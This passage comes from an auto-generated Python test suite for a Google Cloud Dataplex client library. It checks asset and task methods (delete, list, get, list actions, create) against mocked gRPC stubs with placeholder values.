with mock.patch.object(type(client.transport.delete_asset), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_asset_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteAssetRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_asset), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_delete_asset_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_asset(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_asset_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_asset(
service.DeleteAssetRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_delete_asset_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_asset(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_asset_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_asset(
service.DeleteAssetRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListAssetsRequest,
dict,
],
)
def test_list_assets(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_assets), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListAssetsResponse(
next_page_token="next_page_token_value",
)
response = client.list_assets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListAssetsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAssetsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_assets_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_assets), "__call__") as call:
client.list_assets()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListAssetsRequest()
@pytest.mark.asyncio
async def test_list_assets_async(
transport: str = "grpc_asyncio", request_type=service.ListAssetsRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_assets), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListAssetsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_assets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListAssetsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAssetsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_assets_async_from_dict():
await test_list_assets_async(request_type=dict)
def test_list_assets_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListAssetsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_assets), "__call__") as call:
call.return_value = service.ListAssetsResponse()
client.list_assets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_assets_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListAssetsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_assets), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListAssetsResponse()
)
await client.list_assets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_assets_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_assets), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListAssetsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_assets(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_assets_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_assets(
service.ListAssetsRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_assets_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_assets), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListAssetsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListAssetsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_assets(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_assets_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_assets(
service.ListAssetsRequest(),
parent="parent_value",
)
def test_list_assets_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_assets), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListAssetsResponse(
assets=[
resources.Asset(),
resources.Asset(),
resources.Asset(),
],
next_page_token="abc",
),
service.ListAssetsResponse(
assets=[],
next_page_token="def",
),
service.ListAssetsResponse(
assets=[
resources.Asset(),
],
next_page_token="ghi",
),
service.ListAssetsResponse(
assets=[
resources.Asset(),
resources.Asset(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_assets(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, resources.Asset) for i in results)
def test_list_assets_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_assets), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListAssetsResponse(
assets=[
resources.Asset(),
resources.Asset(),
resources.Asset(),
],
next_page_token="abc",
),
service.ListAssetsResponse(
assets=[],
next_page_token="def",
),
service.ListAssetsResponse(
assets=[
resources.Asset(),
],
next_page_token="ghi",
),
service.ListAssetsResponse(
assets=[
resources.Asset(),
resources.Asset(),
],
),
RuntimeError,
)
pages = list(client.list_assets(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_assets_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_assets), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListAssetsResponse(
assets=[
resources.Asset(),
resources.Asset(),
resources.Asset(),
],
next_page_token="abc",
),
service.ListAssetsResponse(
assets=[],
next_page_token="def",
),
service.ListAssetsResponse(
assets=[
resources.Asset(),
],
next_page_token="ghi",
),
service.ListAssetsResponse(
assets=[
resources.Asset(),
resources.Asset(),
],
),
RuntimeError,
)
async_pager = await client.list_assets(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.Asset) for i in responses)
@pytest.mark.asyncio
async def test_list_assets_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_assets), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListAssetsResponse(
assets=[
resources.Asset(),
resources.Asset(),
resources.Asset(),
],
next_page_token="abc",
),
service.ListAssetsResponse(
assets=[],
next_page_token="def",
),
service.ListAssetsResponse(
assets=[
resources.Asset(),
],
next_page_token="ghi",
),
service.ListAssetsResponse(
assets=[
resources.Asset(),
resources.Asset(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_assets(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type",
[
service.GetAssetRequest,
dict,
],
)
def test_get_asset(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Asset(
name="name_value",
display_name="display_name_value",
uid="uid_value",
description="description_value",
state=resources.State.ACTIVE,
)
response = client.get_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetAssetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Asset)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.state == resources.State.ACTIVE
def test_get_asset_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_asset), "__call__") as call:
client.get_asset()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetAssetRequest()
@pytest.mark.asyncio
async def test_get_asset_async(
transport: str = "grpc_asyncio", request_type=service.GetAssetRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.Asset(
name="name_value",
display_name="display_name_value",
uid="uid_value",
description="description_value",
state=resources.State.ACTIVE,
)
)
response = await client.get_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetAssetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.Asset)
assert response.name == "name_value"
assert response.display_name == "display_name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.state == resources.State.ACTIVE
@pytest.mark.asyncio
async def test_get_asset_async_from_dict():
await test_get_asset_async(request_type=dict)
def test_get_asset_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetAssetRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_asset), "__call__") as call:
call.return_value = resources.Asset()
client.get_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_asset_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetAssetRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_asset), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Asset())
await client.get_asset(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_get_asset_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Asset()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_asset(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_asset_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_asset(
service.GetAssetRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_get_asset_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_asset), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.Asset()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.Asset())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_asset(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_asset_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_asset(
service.GetAssetRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListAssetActionsRequest,
dict,
],
)
def test_list_asset_actions(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListActionsResponse(
next_page_token="next_page_token_value",
)
response = client.list_asset_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListAssetActionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAssetActionsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_asset_actions_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions), "__call__"
) as call:
client.list_asset_actions()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListAssetActionsRequest()
@pytest.mark.asyncio
async def test_list_asset_actions_async(
transport: str = "grpc_asyncio", request_type=service.ListAssetActionsRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListActionsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_asset_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListAssetActionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAssetActionsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_asset_actions_async_from_dict():
await test_list_asset_actions_async(request_type=dict)
def test_list_asset_actions_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListAssetActionsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions), "__call__"
) as call:
call.return_value = service.ListActionsResponse()
client.list_asset_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_asset_actions_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListAssetActionsRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListActionsResponse()
)
await client.list_asset_actions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_asset_actions_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListActionsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_asset_actions(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_asset_actions_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_asset_actions(
service.ListAssetActionsRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_asset_actions_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListActionsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListActionsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_asset_actions(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_asset_actions_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_asset_actions(
service.ListAssetActionsRequest(),
parent="parent_value",
)
def test_list_asset_actions_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_asset_actions(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, resources.Action) for i in results)
def test_list_asset_actions_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
pages = list(client.list_asset_actions(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_asset_actions_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
async_pager = await client.list_asset_actions(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.Action) for i in responses)
@pytest.mark.asyncio
async def test_list_asset_actions_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_asset_actions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_asset_actions(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type",
[
service.CreateTaskRequest,
dict,
],
)
def test_create_task(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateTaskRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_task_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_task), "__call__") as call:
client.create_task()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateTaskRequest()
@pytest.mark.asyncio
async def test_create_task_async(
transport: str = "grpc_asyncio", request_type=service.CreateTaskRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_task), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateTaskRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_task_async_from_dict():
await test_create_task_async(request_type=dict)
def test_create_task_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateTaskRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_task), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_task(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_task_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateTaskRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_task), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
